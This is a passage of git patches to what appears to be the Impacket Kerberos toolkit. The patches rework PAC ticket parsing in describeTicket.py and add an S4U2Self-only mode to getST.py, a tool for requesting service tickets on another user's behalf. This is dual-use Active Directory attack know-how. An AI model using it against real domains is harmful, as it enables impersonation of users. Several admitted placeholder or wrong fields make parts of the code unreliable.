parsed_pac[0]["GroupIds"]]))) - logging.info(" %-21s: %s" % ("UserFlags", parsed_pac[0]["UserFlags"])) - logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac[0]["UserSessionKey"])) - logging.info(" %-21s: %s" % ("LogonServer", parsed_pac[0]["LogonServer"])) - logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac[0]["LogonDomainName"])) - logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac[0]["LogonDomainId"])) + logging.info(" %-21s: %s" % ("LogonTime", parsed_pac['LogonInfo']["LogonTime"])) + logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac['LogonInfo']["LogoffTime"])) + logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac['LogonInfo']["KickOffTime"])) + logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac['LogonInfo']["PasswordLastSet"])) + logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac['LogonInfo']["PasswordCanChange"])) + logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac['LogonInfo']["PasswordMustChange"])) + logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac['LogonInfo']["EffectiveName"])) + logging.info(" %-21s: %s" % ("FullName", parsed_pac['LogonInfo']["FullName"])) + logging.info(" %-21s: %s" % ("LogonScript", parsed_pac['LogonInfo']["LogonScript"])) + logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac['LogonInfo']["ProfilePath"])) + logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac['LogonInfo']["HomeDirectory"])) + logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac['LogonInfo']["HomeDirectoryDrive"])) + logging.info(" %-21s: %s" % ("LogonCount", parsed_pac['LogonInfo']["LogonCount"])) + logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac['LogonInfo']["BadPasswordCount"])) + logging.info(" %-21s: %s" % ("UserId", parsed_pac['LogonInfo']["UserId"])) + logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac['LogonInfo']["PrimaryGroupId"])) + logging.info(" %-21s: %s" % ("GroupCount", parsed_pac['LogonInfo']["GroupCount"])) + logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in parsed_pac['LogonInfo']["GroupIds"]]))) + logging.info(" %-21s: %s" % ("UserFlags", parsed_pac['LogonInfo']["UserFlags"])) + logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac['LogonInfo']["UserSessionKey"])) + logging.info(" %-21s: %s" % ("LogonServer", parsed_pac['LogonInfo']["LogonServer"])) + logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac['LogonInfo']["LogonDomainName"])) + logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac['LogonInfo']["LogonDomainId"])) # Todo parse UserAccountControl - logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac[0]["UserAccountControl"])) - logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac[0]["ExtraSids"]]))) - logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac[0]["ResourceGroupCount"])) + logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac['LogonInfo']["UserAccountControl"])) + logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac['LogonInfo']["ExtraSids"]]))) + logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac['LogonInfo']["ResourceGroupCount"])) + logging.info(" %-23s:" % ("ClientName")) + logging.info(" %-21s: %s" % ("Client Id", parsed_pac['ClientName']["Client Id"])) + logging.info(" %-21s: %s" % ("Client Name", parsed_pac['ClientName']["Client Name"])) + logging.info(" %-23s:" % ("DelegationInfo")) + logging.info(" %-21s: %s" % ("S4U2proxyTarget", parsed_pac['DelegationInfo']["S4U2proxyTarget"])) + logging.info(" %-21s: %s" % ("TransitedListSize", parsed_pac['DelegationInfo']["TransitedListSize"])) + logging.info(" %-21s: %s" % ("S4UTransitedServices", parsed_pac['DelegationInfo']["S4UTransitedServices"])) + logging.info(" %-23s:" % ("UpnDns")) + logging.info(" %-21s: %s" % ("DNS Domain Name", parsed_pac['UpnDns']["DNS Domain Name"])) + logging.info(" %-21s: %s" % ("UPN", parsed_pac['UpnDns']["UPN"])) + logging.info(" %-21s: %s" % ("Flags", parsed_pac['UpnDns']["Flags"])) + logging.info(" %-23s:" % ("ServerChecksum")) + logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['ServerChecksum']["Signature Type"])) + logging.info(" %-21s: %s" % ("Signature", parsed_pac['ServerChecksum']["Signature"])) + logging.info(" %-23s:" % ("KDCChecksum")) + logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['KDCChecksum']["Signature Type"])) + logging.info(" %-21s: %s" % ("Signature", parsed_pac['KDCChecksum']["Signature"])) + def parse_pac(pacType): @@ -200,8 +222,9 @@ def PACparseResourceGroupDomainSid(data): parsed_tuPAC = [] # buff = pacType['Buffers'] - infoBuffer = PAC_INFO_BUFFER(buff) for bufferN in range(pacType['cBuffers']): + # TODO : parse all structures + infoBuffer = PAC_INFO_BUFFER(buff) data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] if infoBuffer['ulType'] == PAC_LOGON_INFO: type1 = TypeSerialization1(data) @@ -211,20 +234,20 @@ def PACparseResourceGroupDomainSid(data): kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} - parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') - parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') - parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') - parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') - parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') - parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') - parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) - parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) - parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) - parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) - parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') - parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') - parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') + parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') + parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') + parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') + parsed_data['ProfilePath'] = PACinfiniteData(kerbdata.fields['ProfilePath']).decode('utf-16-le') + parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') + parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') + parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) + parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) + parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) + parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) + parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') + parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') + parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') parsed_data['UserAccountControl'] = PACinfiniteData(kerbdata.fields['UserAccountControl']) @@ -239,35 +262,61 @@ def PACparseResourceGroupDomainSid(data): parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) - parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) + parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) parsed_data['SidCount'] = PACinfiniteData(kerbdata.fields['SidCount']) parsed_data['ExtraSids'] = PACparseExtraSids(kerbdata.fields['ExtraSids']) parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) + parsed_tuPAC.append({"LoginInfo": parsed_data}) - parsed_tuPAC.append(parsed_data) elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: - type1 = TypeSerialization1(data) - # TODO: Not implemented - print(dir(type1)) - pass - elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: clientInfo = PAC_CLIENT_INFO(data) - # TODO: Not implemented - print(dir(clientInfo)) - pass - elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: - signatureData = PAC_SIGNATURE_DATA(data) - # TODO: Not implemented - print(dir(signatureData)) - pass + parsed_data = {} + # TODO : check client id it's probably wrong + parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S %p") + parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') + parsed_tuPAC.append({"ClientName": parsed_data}) + elif infoBuffer['ulType'] == PAC_UPN_DNS_INFO: upn = UPN_DNS_INFO(data) - # TODO: Not implemented - print(dir(upn)) - pass + # upn.dump() + parsed_data = {} + # todo, we don't have the same data as Rubeus + parsed_data['DNS Domain Name'] = 0 + parsed_data['UPN'] = 0 + parsed_data['Flags'] = 0 + parsed_tuPAC.append({"UpnDns": parsed_data}) + + elif infoBuffer['ulType'] == PAC_SERVER_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + parsed_data = {} + parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name + parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_tuPAC.append({"ServerChecksum": parsed_data}) + + elif infoBuffer['ulType'] == PAC_PRIVSVR_CHECKSUM: + signatureData = PAC_SIGNATURE_DATA(data) + parsed_data = {} + parsed_data['Signature Type'] = ChecksumTypes(signatureData.fields['SignatureType']).name + # signatureData.dump() + parsed_data['Signature'] = hexlify(signatureData.fields['Signature']).decode('utf-8') + parsed_tuPAC.append({"KDCChecksum": parsed_data}) + + elif infoBuffer['ulType'] == PAC_CREDENTIALS_INFO: + # todo + logging.debug("TODO: implement PAC_CREDENTIALS_INFO parsing") + + elif infoBuffer['ulType'] == PAC_DELEGATION_INFO: + delegationInfo = S4U_DELEGATION_INFO(data) + parsed_data = {} + parsed_data['S4U2proxyTarget'] = PACinfiniteData(delegationInfo.fields['S4U2proxyTarget']).decode('utf-16-le') + parsed_data['TransitedListSize'] = delegationInfo.fields['TransitedListSize'].fields['Data'] + parsed_data['S4UTransitedServices'] = PACinfiniteData(delegationInfo.fields['S4UTransitedServices']).decode('utf-16-le') + parsed_tuPAC.append({"DelegationInfo": parsed_data}) + + buff = buff[len(infoBuffer):] return parsed_tuPAC From ccdb6a26efb0ef909626bf39794e77ca5c10d8c2 Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sat, 30 Oct 2021 15:31:46 +0200 Subject: [PATCH 011/163] Improved PAC parsing and printing --- examples/describeTicket.py | 103 ++++++++++++------------------------- 1 file changed, 33 insertions(+), 70 deletions(-) diff --git a/examples/describeTicket.py b/examples/describeTicket.py index 6a2423a0f..0a1d783a6 100755 --- a/examples/describeTicket.py +++ b/examples/describeTicket.py @@ -123,53 +123,12 @@ def parse_ccache(args): pacType = PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) # TODO : cycle through dict instead of line by line? Filter on type, if it list, for parsed_pac['LogonInfo']["GroupIds"] & parsed_pac['LogonInfo']["ExtraSids"] parsed_pac = parse_pac(pacType) - logging.info(" %-23s:" % ("LogonInfo")) - logging.info(" %-21s: %s" % ("LogonTime", parsed_pac['LogonInfo']["LogonTime"])) - logging.info(" %-21s: %s" % ("LogoffTime", parsed_pac['LogonInfo']["LogoffTime"])) - logging.info(" %-21s: %s" % ("KickOffTime", parsed_pac['LogonInfo']["KickOffTime"])) - logging.info(" %-21s: %s" % ("PasswordLastSet", parsed_pac['LogonInfo']["PasswordLastSet"])) - logging.info(" %-21s: %s" % ("PasswordCanChange", parsed_pac['LogonInfo']["PasswordCanChange"])) - logging.info(" %-21s: %s" % ("PasswordMustChange", parsed_pac['LogonInfo']["PasswordMustChange"])) - logging.info(" %-21s: %s" % ("EffectiveName", parsed_pac['LogonInfo']["EffectiveName"])) - logging.info(" %-21s: %s" % ("FullName", parsed_pac['LogonInfo']["FullName"])) - logging.info(" %-21s: %s" % ("LogonScript", parsed_pac['LogonInfo']["LogonScript"])) - logging.info(" %-21s: %s" % ("ProfilePath", parsed_pac['LogonInfo']["ProfilePath"])) - logging.info(" %-21s: %s" % ("HomeDirectory", parsed_pac['LogonInfo']["HomeDirectory"])) - logging.info(" %-21s: %s" % ("HomeDirectoryDrive", parsed_pac['LogonInfo']["HomeDirectoryDrive"])) - logging.info(" %-21s: %s" % ("LogonCount", parsed_pac['LogonInfo']["LogonCount"])) - logging.info(" %-21s: %s" % ("BadPasswordCount", parsed_pac['LogonInfo']["BadPasswordCount"])) - logging.info(" %-21s: %s" % ("UserId", parsed_pac['LogonInfo']["UserId"])) - logging.info(" %-21s: %s" % ("PrimaryGroupId", parsed_pac['LogonInfo']["PrimaryGroupId"])) - logging.info(" %-21s: %s" % ("GroupCount", parsed_pac['LogonInfo']["GroupCount"])) - logging.info(" %-21s: %s" % ("Groups", ', '.join([str(gid['RelativeId']) for gid in parsed_pac['LogonInfo']["GroupIds"]]))) - logging.info(" %-21s: %s" % ("UserFlags", parsed_pac['LogonInfo']["UserFlags"])) - logging.info(" %-21s: %s" % ("UserSessionKey", parsed_pac['LogonInfo']["UserSessionKey"])) - logging.info(" %-21s: %s" % ("LogonServer", parsed_pac['LogonInfo']["LogonServer"])) - logging.info(" %-21s: %s" % ("LogonDomainName", parsed_pac['LogonInfo']["LogonDomainName"])) - logging.info(" %-21s: %s" % ("LogonDomainId", parsed_pac['LogonInfo']["LogonDomainId"])) - # Todo parse UserAccountControl - logging.info(" %-21s: %s" % ("UserAccountControl", parsed_pac['LogonInfo']["UserAccountControl"])) - logging.info(" %-21s: %s" % ("ExtraSIDs", ', '.join([sid for sid in parsed_pac['LogonInfo']["ExtraSids"]]))) - logging.info(" %-21s: %s" % ("ResourceGroupCount", parsed_pac['LogonInfo']["ResourceGroupCount"])) - logging.info(" %-23s:" % ("ClientName")) - logging.info(" %-21s: %s" % ("Client Id", parsed_pac['ClientName']["Client Id"])) - logging.info(" %-21s: %s" % ("Client Name", parsed_pac['ClientName']["Client Name"])) - logging.info(" %-23s:" % ("DelegationInfo")) - logging.info(" %-21s: %s" % ("S4U2proxyTarget", parsed_pac['DelegationInfo']["S4U2proxyTarget"])) - logging.info(" %-21s: %s" % ("TransitedListSize", parsed_pac['DelegationInfo']["TransitedListSize"])) - logging.info(" %-21s: %s" % ("S4UTransitedServices", parsed_pac['DelegationInfo']["S4UTransitedServices"])) - logging.info(" %-23s:" % ("UpnDns")) - logging.info(" %-21s: %s" % ("DNS Domain Name", parsed_pac['UpnDns']["DNS Domain Name"])) - logging.info(" %-21s: %s" % ("UPN", parsed_pac['UpnDns']["UPN"])) - logging.info(" %-21s: %s" % ("Flags", parsed_pac['UpnDns']["Flags"])) - logging.info(" %-23s:" % ("ServerChecksum")) - logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['ServerChecksum']["Signature Type"])) - logging.info(" %-21s: %s" % ("Signature", parsed_pac['ServerChecksum']["Signature"])) - logging.info(" %-23s:" % ("KDCChecksum")) - logging.info(" %-21s: %s" % ("Signature Type", parsed_pac['KDCChecksum']["Signature Type"])) - logging.info(" %-21s: %s" % ("Signature", parsed_pac['KDCChecksum']["Signature"])) - - + logging.info("%-25s:" % "Decrypted PAC") + for element_type in parsed_pac: + element_type_name = list(element_type.keys())[0] + logging.info(" %-23s:" % element_type_name) + for attribute in element_type[element_type_name]: + logging.info(" %-21s: %s" % (attribute, element_type[element_type_name][attribute])) def parse_pac(pacType): def format_sid(data): @@ -234,6 +193,14 @@ def PACparseResourceGroupDomainSid(data): kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) parsed_data = {} + parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) + parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) + parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) + parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) + parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) + parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) parsed_data['EffectiveName'] = PACinfiniteData(kerbdata.fields['EffectiveName']).decode('utf-16-le') parsed_data['FullName'] = PACinfiniteData(kerbdata.fields['FullName']).decode('utf-16-le') parsed_data['LogonScript'] = PACinfiniteData(kerbdata.fields['LogonScript']).decode('utf-16-le') @@ -241,41 +208,37 @@ def PACparseResourceGroupDomainSid(data): parsed_data['HomeDirectory'] = PACinfiniteData(kerbdata.fields['HomeDirectory']).decode('utf-16-le') parsed_data['HomeDirectoryDrive'] = PACinfiniteData(kerbdata.fields['HomeDirectoryDrive']).decode('utf-16-le') parsed_data['LogonCount'] = PACinfiniteData(kerbdata.fields['LogonCount']) + parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) parsed_data['BadPasswordCount'] = PACinfiniteData(kerbdata.fields['BadPasswordCount']) parsed_data['UserId'] = PACinfiniteData(kerbdata.fields['UserId']) parsed_data['PrimaryGroupId'] = PACinfiniteData(kerbdata.fields['PrimaryGroupId']) - parsed_data['UserFlags'] = PACinfiniteData(kerbdata.fields['UserFlags']) + parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) + parsed_data['Groups'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata.fields['GroupIds'])]) + UserFlags = PACinfiniteData(kerbdata.fields['UserFlags']) + # todo parse UserFlags + parsed_data['UserFlags'] = "(%s) %s" % (UserFlags, "???") parsed_data['UserSessionKey'] = hexlify(PACinfiniteData(kerbdata.fields['UserSessionKey'])).decode('utf-8') parsed_data['LogonServer'] = PACinfiniteData(kerbdata.fields['LogonServer']).decode('utf-16-le') parsed_data['LogonDomainName'] = PACinfiniteData(kerbdata.fields['LogonDomainName']).decode('utf-16-le') parsed_data['LogonDomainId'] = PACparseSID(PACinfiniteData(kerbdata.fields['LogonDomainId'])) - parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') - parsed_data['UserAccountControl'] = PACinfiniteData(kerbdata.fields['UserAccountControl']) - parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) - parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata.fields['LastSuccessfulILogon']) - parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata.fields['LastFailedILogon']) - parsed_data['FailedILogonCount'] = PACinfiniteData(kerbdata.fields['FailedILogonCount']) - parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) - parsed_data['LogonTime'] = PACparseFILETIME(kerbdata.fields['LogonTime']) - parsed_data['LogoffTime'] = PACparseFILETIME(kerbdata.fields['LogoffTime']) - parsed_data['KickOffTime'] = PACparseFILETIME(kerbdata.fields['KickOffTime']) - parsed_data['PasswordLastSet'] = PACparseFILETIME(kerbdata.fields['PasswordLastSet']) - parsed_data['PasswordCanChange'] = PACparseFILETIME(kerbdata.fields['PasswordCanChange']) - parsed_data['PasswordMustChange'] = PACparseFILETIME(kerbdata.fields['PasswordMustChange']) - parsed_data['GroupCount'] = PACinfiniteData(kerbdata.fields['GroupCount']) - parsed_data['GroupIds'] = PACparseGroupIds(kerbdata.fields['GroupIds']) - parsed_data['SidCount'] = PACinfiniteData(kerbdata.fields['SidCount']) - parsed_data['ExtraSids'] = PACparseExtraSids(kerbdata.fields['ExtraSids']) - parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) + UAC = PACinfiniteData(kerbdata.fields['UserAccountControl']) + # todo parse UAC + parsed_data['UserAccountControl'] = "(%s) %s" % (UAC, "???") + parsed_data['ExtraSIDCount'] = PACinfiniteData(kerbdata.fields['SidCount']) + parsed_data['ExtraSIDs'] = ', '.join([sid for sid in PACparseExtraSids(kerbdata.fields['ExtraSids'])]) parsed_data['ResourceGroupCount'] = PACinfiniteData(kerbdata.fields['ResourceGroupCount']) - parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) + # parsed_data['LMKey'] = hexlify(PACinfiniteData(kerbdata.fields['LMKey'])).decode('utf-8') + # parsed_data['SubAuthStatus'] = PACinfiniteData(kerbdata.fields['SubAuthStatus']) + # parsed_data['Reserved3'] = PACinfiniteData(kerbdata.fields['Reserved3']) + # parsed_data['ResourceGroupDomainSid'] = PACparseResourceGroupDomainSid(kerbdata.fields['ResourceGroupDomainSid']) + # parsed_data['ResourceGroupIds'] = PACparseGroupIds(kerbdata.fields['ResourceGroupIds']) parsed_tuPAC.append({"LoginInfo": parsed_data}) elif infoBuffer['ulType'] == PAC_CLIENT_INFO_TYPE: clientInfo = PAC_CLIENT_INFO(data) parsed_data = {} # TODO : check client id it's probably wrong - parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S %p") + parsed_data['Client Id'] = datetime.datetime.fromtimestamp(clientInfo.fields['ClientId']/1e8).strftime("%d/%m/%Y %H:%H:%S") parsed_data['Client Name'] = clientInfo.fields['Name'].decode('utf-16-le') parsed_tuPAC.append({"ClientName": parsed_data}) @@ -419,8 +382,8 @@ def parse_args(): group = parser.add_argument_group('Some account information') group.add_argument('-p', '--password', action="store", metavar="PASSWORD", help='placeholder') group.add_argument('-hp', '--hexpass', dest='hexpass', action="store", metavar="PASSWORD", help='placeholder') - group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') # used for kerberoast_from_ccache() - group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') # used for kerberoast_from_ccache() + group.add_argument('-u', '--user', action="store", metavar="USER", help='placeholder') + group.add_argument('-d', '--domain', action="store", metavar="DOMAIN", help='placeholder') group.add_argument('-s', '--salt', action="store", metavar="SALT", help='placeholder') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='placeholder') group.add_argument('-aesKey', action="store", metavar="hex key", help='placeholder') From 214c35642d30da47afab3952b40cd7f91028bedf Mon Sep 17 00:00:00 2001 From: Shutdown Date: Sun, 31 Oct 2021 17:51:01 +0100 Subject: [PATCH 012/163] Fixing the PAC_CLIENT_INFO structure --- examples/getST.py | 193 +++++++++++++++++++++++-------------------- impacket/krb5/pac.py | 5 +- 2 files changed, 107 insertions(+), 91 deletions(-) diff --git a/examples/getST.py b/examples/getST.py index fa536ff1f..6df352271 100755 --- a/examples/getST.py +++ b/examples/getST.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # Impacket - Collection of Python classes for working with network protocols. # # SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. @@ -79,6 +79,7 @@ def __init__(self, target, password, domain, options): self.__force_forwardable = options.force_forwardable self.__additional_ticket = options.additional_ticket self.__saveFileName = None + self.__no_s4u2proxy = options.no_s4u2proxy if options.hashes is not None: self.__lmhash, self.__nthash = options.hashes.split(':') @@ -401,7 +402,10 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) reqBody['kdc-options'] = constants.encodeFlags(opts) - serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) + if self.__no_s4u2proxy and self.__options.spn is not None: + serverName = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_UNKNOWN.value) + else: + serverName = Principal(self.__user, type=constants.PrincipalNameType.NT_UNKNOWN.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) @@ -502,120 +506,129 @@ def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText - ################################################################################ - # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy - # So here I have a ST for me.. I now want a ST for another service - # Extract the ticket from the TGT - ticketTGT = Ticket() - ticketTGT.from_asn1(decodedTGT['ticket']) + if self.__no_s4u2proxy: + cipherText = tgs['enc-part']['cipher'] + plainText = cipher.decrypt(sessionKey, 8, cipherText) + encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] + newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) + # Creating new cipher based on received keytype + cipher = _enctype_table[encTGSRepPart['key']['keytype']] + return r, cipher, sessionKey, newSessionKey + else: + ################################################################################ + # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy + # So here I have a ST for me.. I now want a ST for another service + # Extract the ticket from the TGT + ticketTGT = Ticket() + ticketTGT.from_asn1(decodedTGT['ticket']) - # Get the service ticket - ticket = Ticket() - ticket.from_asn1(tgs['ticket']) + # Get the service ticket + ticket = Ticket() + ticket.from_asn1(tgs['ticket']) - apReq = AP_REQ() - apReq['pvno'] = 5 - apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) + apReq = AP_REQ() + apReq['pvno'] = 5 + apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() - apReq['ap-options'] = constants.encodeFlags(opts) - seq_set(apReq, 'ticket', ticketTGT.to_asn1) + opts = list() + apReq['ap-options'] = constants.encodeFlags(opts) + seq_set(apReq, 'ticket', ticketTGT.to_asn1) - authenticator = Authenticator() - authenticator['authenticator-vno'] = 5 - authenticator['crealm'] = str(decodedTGT['crealm']) + authenticator = Authenticator() + authenticator['authenticator-vno'] = 5 + authenticator['crealm'] = str(decodedTGT['crealm']) - clientName = Principal() - clientName.from_asn1(decodedTGT, 'crealm', 'cname') + clientName = Principal() + clientName.from_asn1(decodedTGT, 'crealm', 'cname') - seq_set(authenticator, 'cname', clientName.components_to_asn1) + seq_set(authenticator, 'cname', clientName.components_to_asn1) - now = datetime.datetime.utcnow() - authenticator['cusec'] = now.microsecond - authenticator['ctime'] = KerberosTime.to_asn1(now) + now = datetime.datetime.utcnow() + authenticator['cusec'] = now.microsecond + authenticator['ctime'] = KerberosTime.to_asn1(now) - encodedAuthenticator = encoder.encode(authenticator) + encodedAuthenticator = encoder.encode(authenticator) - # Key Usage 7 - # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes - # TGS authenticator subkey), encrypted with the TGS session - # key (Section 5.5.1) - encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) + # Key Usage 7 + # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes + # TGS authenticator subkey), encrypted with the TGS session + # key (Section 5.5.1) + encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) - apReq['authenticator'] = noValue - apReq['authenticator']['etype'] = cipher.enctype - apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator + apReq['authenticator'] = noValue + apReq['authenticator']['etype'] = cipher.enctype + apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator - encodedApReq = encoder.encode(apReq) + encodedApReq = encoder.encode(apReq) - tgsReq = TGS_REQ() + tgsReq = TGS_REQ() - tgsReq['pvno'] = 5 - tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) - tgsReq['padata'] = noValue - tgsReq['padata'][0] = noValue - tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) - tgsReq['padata'][0]['padata-value'] = encodedApReq + tgsReq['pvno'] = 5 + tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) + 